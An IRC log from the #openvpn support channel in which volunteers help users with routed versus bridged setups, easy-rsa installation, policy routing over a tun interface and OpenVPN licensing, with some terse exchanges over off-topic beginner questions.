02:11 <@vpnHelper> Title: How to fix a DNS leak (at www.dnsleaktest.com)
02:11 < darkapp> o u said that a while ago
02:12 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:45 -!- JAVACODER [~JAVACODER@2.190.35.93] has joined #openvpn
02:47 < takamichi> darkapp: Thanks,I know of Google DNS but I want to override the DNS servers which my provider is pushing to my device. When I check with dnsleaktest.com it always shows me the VPN providers DNS servers but I want to use my own.
02:49 < darkapp> sry i dont understand your situation, but im no expert anyway
02:52 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
02:52 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
02:52 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:01 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
03:17 -!- Whoopie [Whoopie@unaffiliated/whoopie] has quit [Quit: Proxy shutdown]
03:21 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
03:33 -!- JAVACODER [~JAVACODER@2.190.35.93] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
03:38 -!- dazo_afk is now known as dazo
03:38 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Quit: are we being punished for fate]
03:42 -!- suprMan` [~clark_ken@83-136-61-89.wimax.bb.zain.com] has joined #openvpn
03:49 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 240 seconds]
03:58 -!- suprMan` [~clark_ken@83-136-61-89.wimax.bb.zain.com] has quit [Quit: will return.]
03:58 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
04:04 -!- `Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
04:05 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
04:07 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection]
04:12 -!- Netsplit *.net <-> *.split quits: zampa, Rallias, HyperGlide, mchou, Denial, Nothing4You, tharkun, Serano, jive, abyss,  (+50 more, use /NETSPLIT to show all of them)
04:13 -!- Whoopie [~Whoopie@p200300514F7F9E8B9EC7A6FFFE30886C.dip0.t-ipconnect.de] has joined #openvpn
04:13 -!- Netsplit over, joins: jgeboski, jzaw, MacGyver, n4mu, batrick, Mcloven_, LeLutin, pcdummy, wykydtron, emid (+9 more)
04:15 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
04:15 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
04:15 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
04:15 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
04:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:15 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
04:15 -!- darkapp [~app@unaffiliated/darkapp] has joined #openvpn
04:15 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:15 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
04:15 -!- abyss [~abyss@i-free.pl] has joined #openvpn
04:15 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-bjqsdhcgdvhdtqin] has joined #openvpn
04:15 -!- lmm [uid6417@gateway/web/irccloud.com/x-bqwrhxlvtiijgvql] has joined #openvpn
04:15 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
04:15 -!- ljvb [~jason@us.vps.vanbrecht.com] has joined #openvpn
04:15 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
04:15 -!- Denial [Denial@90.202.26.221] has joined #openvpn
04:15 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:15 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
04:15 -!- levifig [~levifig@spwn.co] has joined #openvpn
04:15 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
04:15 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
04:15 -!- nish_ [~nish@195.1.174.154] has joined #openvpn
04:15 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
04:15 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
04:15 -!- oBadAtom [~epigramma@supporter/active/BadAtom] has joined #openvpn
04:15 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
04:15 -!- defswork [~andy@141.0.50.105] has joined #openvpn
04:15 -!- xBytez [~xbytez@212.83.63.23] has joined #openvpn
04:15 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
04:15 -!- rooth [tomte@92.43.35.21] has joined #openvpn
04:15 -!- mete [~mete@mete.shell.la] has joined #openvpn
04:15 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
04:15 -!- trumee [~parul@93.186.144.251] has joined #openvpn
04:15 -!- sokmar [~marcin@firma.sokrates.pl] has joined #openvpn
04:15 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
04:15 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
04:15 -!- riddle [riddle@us.yunix.net] has joined #openvpn
04:15 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
04:15 -!- Serano [~serano@rooty.be] has joined #openvpn
04:17 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:27 -!- Whoopie [~Whoopie@p200300514F7F9E8B9EC7A6FFFE30886C.dip0.t-ipconnect.de] has quit [Changing host]
04:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
04:28 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection]
04:30 -!- suprMan` [~clark_ken@83-136-61-89.wimax.bb.zain.com] has joined #openvpn
04:31 -!- suprMan` [~clark_ken@83-136-61-89.wimax.bb.zain.com] has quit [Client Quit]
04:38 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
04:38 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
04:42 -!- Whoopie [Whoopie@unaffiliated/whoopie] has joined #openvpn
04:43 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
04:49 -!- suprMan` [~clark_ken@62-209-20-104.wimax.bb.zain.com] has joined #openvpn
04:51 < fischli> !net30
04:51 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
04:51 < fischli> !topology
04:51 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
04:53 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
04:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:00 -!- `Nothing4You is now known as Nothing4You
05:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
05:18 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:22 -!- suprMan` [~clark_ken@62-209-20-104.wimax.bb.zain.com] has quit [Quit: time heals but i'm forever broken]
05:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
05:37 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 252 seconds]
05:41 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:46 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
05:58 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
06:08 -!- hfp [~user@ovpn.t28.net] has joined #openvpn
06:09 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
06:09 -!- mode/#openvpn [+o mattock_afk] by ChanServ
06:09 -!- mattock_afk is now known as mattock
06:13 -!- BasicXP_ [~basicxp@ubuntu/member/BasicXP] has quit [Quit: Have to go. Good bye!]
06:14 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
06:15 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
06:21 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
07:12 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
07:14 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
07:18 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Ping timeout: 248 seconds]
07:19 -!- mattock is now known as mattock_afk
07:23 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
07:27 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Read error: Connection reset by peer]
07:27 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
07:30 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Read error: Connection reset by peer]
07:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:34 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
07:35 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Operation timed out]
07:38 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
07:39 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
07:39 -!- hairypotter [Hairypotte@90.200.193.145] has joined #openvpn
07:40 < hairypotter> wow there is a room for it! I'm wondering whether I need a bridged or routed VPN? I'm running Asterisk - SIP/VOIP etc? :-)
07:40 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 248 seconds]
07:43 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Ping timeout: 240 seconds]
07:43 <@ecrist> in most cases, routed vpn is appropriate
07:44 < hairypotter> how do I find out for sure :)
07:48 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
07:48 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
07:49 <@ecrist> use routed
07:50 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:51 < hairypotter> i'm defintely not going to find it doesn't work by going down that route :-) ?
07:51 < hairypotter> if you'll forgive the unintended pun
07:52 < hairypotter> does it change things when working with dynamic ip's?
07:58 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Ping timeout: 264 seconds]
08:00 <@ecrist> unless you depend on broadcast traffic or ethernet frames, you do not need bridged
08:01 <@ecrist> we do voip at $work and use a routed VPN without issue
08:01 < hairypotter> oh brilliant! so dynamic IP's clientside or serverside really don't come into it? :-)
08:04 < hairypotter> what is broadcast traffic and ethernet frames :)
08:04 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
08:05 < hairypotter> I had a look on Google and it said "(Ethernet frame) A data packet on an Ethernet link is called an Ethernet frame. A frame begins with Preamble and Start Frame Delimiter...." although that doesn't make a lot of sense to me :-)
08:06 < hairypotter> I have ethernet cables plugged into computers but i'm sure that's not what it means :)
08:12 <@ecrist> if you don't know what broadcast traffic and ethernet frames are, you don't need bridged vpn
08:15 -!- dahankzter [~quassel@37-247-8-75.customers.ownit.se] has joined #openvpn
08:15 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Ping timeout: 240 seconds]
08:21 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
08:30 < hairypotter> @echrist, i'm new to networking so I worry that maybe I might need it but I just don't know enough about it, but it seems on the balance of probabilities that I won't have an issue so thanks for this :-)
08:30 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 252 seconds]
08:33 <@ecrist> hairypotter: i'm _not_ new to networking and I assure you, you don't need it
08:36 < hairypotter> thanks @echrist :-)
08:36 <@ecrist> np
08:37 < hairypotter> i'm following http://openvpn.net/index.php/open-source/documentation/howto.html#install but struggling slightly - i'm now on numbering private subnets, I get this but is this something I need to do within client windows network settings, within the client version of openvpn or within my server version of openvpn
08:37 <@vpnHelper> Title: HOWTO (at openvpn.net)
08:41 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 240 seconds]
08:42 -!- matsh [divine@nanogene.org] has joined #openvpn
08:48 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
08:49 -!- mattock_afk is now known as mattock
08:54 < hairypotter> - i'm now on numbering private subnets, I get this but is this something I need to do within client windows network settings, within the client version of openvpn or within my server version of openvpn
09:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:08 -!- excalibr [ubuntu@unaffiliated/excalibr] has joined #openvpn
09:11 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 268 seconds]
09:13 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:16 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
09:19 -!- mattock is now known as mattock_afk
09:20 -!- tyteen4a03 [tyteen4a03@gateway/shell/freebnv/x-dyhbgetaievcmpvs] has quit [Ping timeout: 240 seconds]
09:21 -!- tyteen4a03 [tyteen4a03@2001:470:e2e4::] has joined #openvpn
09:23 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Remote host closed the connection]
09:23 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
09:25 <@ecrist> ljvb: see here
09:25 <@ecrist> !ssl-admin
09:25 <@vpnHelper> "ssl-admin" is (#1) if you use freebsd, it is in ports or (#2) svn co https://www.secure-computing.net/svn/trunk/ssl-admin to grab it from svn or (#3) A perl script for managing SSL certificates (being a CA). Makes a good replacement for easy-rsa
09:26 <@ecrist> ljvb: if you read the message on the front page of the google code site:  I NO LONGER USE Google Code, PLEASE SEE THE LINK BELOW FOR UPDATES!
09:27  * ecrist deletes the project
09:35 < pekster> svn rm *; echo "No really, it's not maintained" > really.txt; svn add really.txt; svn commit -m "Yes, really."
09:36 < pekster> Actually, you'd probably still get a bugreport doing that...
09:40 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
09:45 <@ecrist> yeah
09:45 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 268 seconds]
09:49 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:50 -!- mattock_afk is now known as mattock
09:52 < hairypotter> i'm now on numbering private subnets, I get this but is this something I need to do within client windows network settings, within the client version of openvpn or within my server version of openvpn
09:54 < pekster> We saw you the first time (a couple of us were probably hoping you'd keep reading the howto instead of throwing up your arms at that section.) That's purely an informational section; what part of it specifically did you need help understanding?
09:55 < hairypotter> @pekster - i started off reading the howto section but if you look at what i'm looking at, it doesn't actually tell you how to do it
09:56 < pekster> The section you cited, labled "Number private subnets" speiciflcally doesn't have you *do* anything -- it's intended as information for people new to RFC1918
09:56 < pekster> !1918
09:56 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
09:57 < pekster> Naturally, you will use addressing out of your chosen network when actually writing a configuration file for OpenVPN. You need to ask a specific question, because the answer to your original question is "yes, your network selection could apply to any of the above if you're using it in your environment"
09:58 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
09:59 -!- hg_5_away [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:01 < hairypotter> so @Pekster -> it applies to all of them and in order to ensure all of them run properly the settings need to be detailed correctly within the client and the server configuration file
10:01 < hairypotter> is that right?
10:02 < pekster> I still don't understand your question; normally your clients will pull addressing from the client; are you intending to remotely configure addressing on clients? Because that's a fairly advanced and complex topic
10:03 < pekster> That should have read: clients will pull from the *server*
10:03 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
10:06 < hairypotter> @pekster, i'm looking to give homeworking telephone advisers access to my vpn so that they can log in to the call server to takes calls using their softphones, these people will likely find using softphones a challenge let alone advanced network configuration, so whatever is the easiest way of getting them and myself set up whilst being secure :-) Both the "client" and myself are behind NAT
10:06 < hairypotter> and have dynamic IP Addresses (that's the general setup i'm trying to achieve anyway, not sure if all of it's relevant :-) )
10:07 < hairypotter> server is running CentOS, majority of homeworkers will be using window
10:07 < hairypotter> windows*
10:07 < pekster> Right, so why are you attempting to worry about "manually configuring addressing in Windows" when I've told you it all magically "just works" unless you need advanced and complex manual client-side networking?
10:08 < pekster> The server dynamically allocates an address out of the --ifconfig-pool range, implicitly used with the --server helper-directive; the manpage should contain all the reading you need on those directives
10:09 < hairypotter> just not sure how far default settings get me :-) I'm guessing I can ignore the majority of these instructions then - i'm guessing the most important part is creating the keys, i did read that the default addresses should be carefully chosen not to clash with anything else
10:10 < pekster> There is no 'default' address -- the howto uses the sample network of 10.8.0/24, but you're free to use any network address range you'd like
10:10 < hairypotter> would you recommend just using the default?
10:11 < pekster> I'd recommend taking the advice the howto has and implementing it
10:11 < hairypotter> ;-)
10:12 < hairypotter> funnily enough, that's where I started
10:13 < pekster> Then maybe you missed the paragraph starting "The best solution ..." which straight up tells you what the "best solution" to numbering your networks is
10:13 < pekster> My advice is identical; why should I repeat what you can read online? Ask *specific* questions, not general ones
10:18 -!- raidz_away is now known as raidz
10:20 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
10:21 <@krzee> [11:10]  <pekster> There is no 'default' address -- the howto uses the sample network of 10.8.0/24, but you're free to use any network address range you'd like
10:21 <@krzee> [11:10]  <hairypotter> would you recommend just using the default?
10:21 <@krzee> :D
10:21 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 276 seconds]
10:21 <@krzee> and whois on first?
10:21 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:28 < hairypotter> @pekster - I'm now following http://www.servermom.com/how-to-build-openvpn-server-on-centos-6-x/732/ but I have got the following errors - http://pastebin.com/Ri8JFfyz
10:28 <@vpnHelper> Title: How to Build OpenVPN Server on CentOS 6.x (Install, Setup, Config) (at www.servermom.com)
10:30 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
10:32 < pekster> No clue about the guide you followed; a stock checkout or release download of easyrsa works when you follow the official !howto documentation
10:32 < pekster> I'm not going to troubleshoot someone else's guide
10:33 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
10:33 < hairypotter> so easyrsa doesn't come installed as standard?
10:33 < pekster> The warning you got suggests you didn't copy the files to the proper location, or perhaps incorrectly set the variables in 'vars' -- it all "just works" if you use the stock sources and run them from the directory where the binaries are located
10:33 < pekster> !easyrsa
10:33 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
10:33 < hairypotter> that doesn't answer my question
10:33 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
10:33 < pekster> "install as standard" -- standard in *what* ?
10:34 < hairypotter> openvpn
10:34 < pekster> easyrsa is not formally part of openvpn, no
10:34 < hairypotter> "For PKI management, we will use easy-rsa, a set of scripts which is bundled with OpenVPN 2.2.x and earlier. If you're using OpenVPN 2.3.x, you need to download easy-rsa separately from here."
10:34 < hairypotter> from the instructions you have quoted
10:35 < pekster> Right; I'm unsure why that's confusing. The latest release series (2.3.x) does *not* include easyrsa
10:35 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
10:35 < hairypotter> yep :-)
10:36 -!- workingcats [~workingca@85.232.30.129] has joined #openvpn
10:37 < workingcats> !welcome
10:37 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
10:37 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:40 -!- hg_5_away [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
10:44 < hairypotter> :-) I'm not sure how to install this - are there any instructions anywhere? https://github.com/OpenVPN/easy-rsa
10:44 <@vpnHelper> Title: OpenVPN/easy-rsa · GitHub (at github.com)
10:45 < pekster> hairypotter: Try the "download here" link the bot gave you above
10:45 < pekster> You download it, extract it to any empty directory you'd like, and run it
10:47 < hairypotter> aha - theres two files here - whats the difference - https://github.com/OpenVPN/easy-rsa/downloads
10:47 <@vpnHelper> Title: Downloads · OpenVPN/easy-rsa · GitHub (at github.com)
10:48 < pekster> Did you read the bolded description?
10:48 < hairypotter> Yes, and I don't know if both are needed
10:48 < pekster> https://en.wikipedia.org/wiki/Digital_signature
10:48 <@vpnHelper> Title: Digital signature - Wikipedia, the free encyclopedia (at en.wikipedia.org)
10:50 < hairypotter> so it's just for verifying that the other file is genuine, not needed for easyrsa to work?
10:50 < pekster> That's what a signature file is, yes
10:50 < hairypotter> i wouldnt know how to make use of the signature file anyway!
10:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
10:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:59 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
11:00 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
11:04 < hairypotter> ok. ive downloaded this, not quite sure how to go about installing it using CentOS, the users in the Linux forum are currently more concerned with the fact I haven't downloaded it from my distro repos
11:04 <@krzee> you sure you should be administrating a vpn?
11:04 < hairypotter> i have little choice
11:05 < pekster> A tarball? You don't know how to extract a tarball?
11:05 < pekster> !101
11:05 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
11:05 < pekster> Try a search engine and ask it "how to extract tar.gz" and send-follow questions to #yourDistroHere
11:05 < pekster> follow-up
11:06 < hairypotter> @pekster re helper - however, it is directly related to the installation and operation of openvpn and therefore not a question that is directly unrelated
11:06 < pekster> I don't care; I'm not helping you learn how to un-tar files; we support OpenVPN here, not your OS, tarballs, your filesystem, your hard disk, or your electric grid, despite the fact that you need all those things working in order to peroperly use OpenVPN
11:08 < hairypotter> well i care and i'm sure there are frequently other newbies that come in here (funnily enough) looking for help in a room dedicated to the purpose, and, anyway, I don't see any rules her prohibiting asking such questions where they directly relate to installing or operating openvpn
11:08 < hairypotter> here*
11:09 <@krzee> pekster is right, we help with openvpn not with "heres how you use a computer"
11:09 <@krzee> even if you want the computer for running openvpn
11:10 <@krzee> thats why we have:
11:10 <@krzee> !101
11:10 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
11:10 <@krzee> !notovpn
11:10 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
11:12 < hairypotter> there you go :-) - "while we try to be helpful" let me quote you @pekster - " I don't care; I'm not helping you..."
11:13 -!- mode/#openvpn [+o pekster] by ChanServ
11:13 <@pekster> Enough.
11:16 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-criswmqrogssawwx] has joined #openvpn
11:19 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:22 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
11:26 <@krzee> !learn notovpn as sorry, but we dont care. this channel is only for help with openvpn.
11:26 <@vpnHelper> Joo got it.
11:26 <@krzee> !notovpn
11:26 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
11:26 <@krzee> better?
11:27 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:27 <@pekster> 6/half-dozen. My quota of 'help me do $basic_task I should have googled for' has been met today
11:27 <@krzee> :D
11:28 <@pekster> the wise reader will note I even suggested some search terms for the latest $basic_task. The unwise reader will insult me or the channel again
11:30 < excalibr> I'm trying to set up non fully routed tun openvpn and I want to be able to bind my app to the tun interface..I think I got all the routing parts right but I still don't have much luck with getting it to work so far..so any pointer in the right direction is appreciated
11:31 < excalibr> http://pastebin.com/raw.php?i=fR6cT2GX
11:31 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:32 <@krzee> excalibr,
11:32 <@krzee> not sure what you mean by non fully routed tun
11:32 <@krzee> !Qgoal
11:32 <@krzee> err
11:32 <@krzee> !goal
11:32 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:33 < excalibr> krzee: no def1 gateway
11:33 <@krzee> oh sure, so do you mean:  "I just want a secure connection between 2 computers"
11:33 -!- hg_5_away [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:33 <@krzee> or even "I just want a secure connection between a server and all clients that connect to it"
11:34 <@pekster> excalibr: Are you attempting to policy route connections that come in on the VPN via an external source (forwarded to you by the server) back out that interface?
11:34 <@pekster> If so, you're missing a 0/0 route on the 'openvpn' table
11:35 < jzaw> krzee, i think youll find What's on second ! ;)  https://www.youtube.com/watch?v=wfmvkO5x6Ng
11:35 <@vpnHelper> Title: Whos On First? - YouTube (at www.youtube.com)
11:35 <@krzee> jzaw, :D
11:39 -!- hg_5_away [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
11:39 < excalibr> pekster: i guess but the thing if i try add 172.16.0.1 as the default gateway in that table, ip route kept rejecting it
11:40  * excalibr scratches head
11:41 <@pekster> 172.16.0.1 is the IP of your VPN peer across the link?
11:41 -!- hg_5_away [~chatzilla@91.234.245.245] has joined #openvpn
11:41 <@pekster> If so, you'll need something like `ip route add default via 172.16.0.1 dev tun0 src 172.16.0.2 table openvpn`
11:42 < excalibr> that's my openvpn server ip
11:43 <@pekster> You may need a 172.16.0/24 route in the default table as well (gateway addresses must be reachable on-link, and I'm not sure offhand if it's smart enough to let you assume it can reach it if a non-default table has the on-link address)
11:43 <@pekster> Normally the subnet for your VPN network will be added to the default table when you connect, unless you're using --route-noexec or such
11:44 -!- mode/#openvpn [+v-o pekster pekster] by pekster
11:45 -!- hg_5_away_ [~chatzilla@91.234.245.245] has joined #openvpn
11:46 -!- hg_5_away [~chatzilla@91.234.245.245] has quit [Ping timeout: 246 seconds]
11:47 -!- tomreyn [~tomreyn@megaglest/team/tomreyn] has joined #openvpn
11:48 < tomreyn> !welcome
11:48 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:48 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:48 < tomreyn> hi there
11:50 < tomreyn> i have an openvpn.exe binary here which I'm inspecting using the "strings" command on linux (I'd prefer not to run it for now). I'm trying to determine whether this is the GPL licensed one or the access server.
11:50 -!- kubbing [~kubbing@ip-89-177-146-218.net.upcbroadband.cz] has joined #openvpn
11:51 <+pekster> IIRC the AS product calls itself openvpnas.exe
11:51 < tomreyn> also, i'm wondering whether the "community edition" (not sure this is the correct term) is only distributed under GPL or under multiple licenses.
11:52 < tomreyn> i'd prefer not to rely on the filename alone, though.
11:52 <@plaisthos> tomreyn: the access server openvpn binary is still GPL
11:54 < tomreyn> oh i wasn't aware. but it's not distributed free of cost by OpenVPN Technologies, Inc., I suppose?
11:54 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:55 <+pekster> Use of AS is subject to its own EULA; the GPL product is free in the FOSS sense
11:55 <@plaisthos> tomreyn: the openvpn AS server communicates with the openvpn.exe binary
11:56 < tomreyn> so AS probably comes with additional software which is not FOSS
11:56 < excalibr> ohh pekster. you're right! I can insert the default gateway into openvpn table fine now after I readd 172.16.0.0/24 route in the default table..and interface binding on the tun is finally working :D
11:56 <@plaisthos> tomreyn: right
11:56  * excalibr throws a barn dance
11:57 < tomreyn> i see. so, for the bottom line, all openvpn binaries which are ditributed need to be accompanied by a GPL statement and its source code?
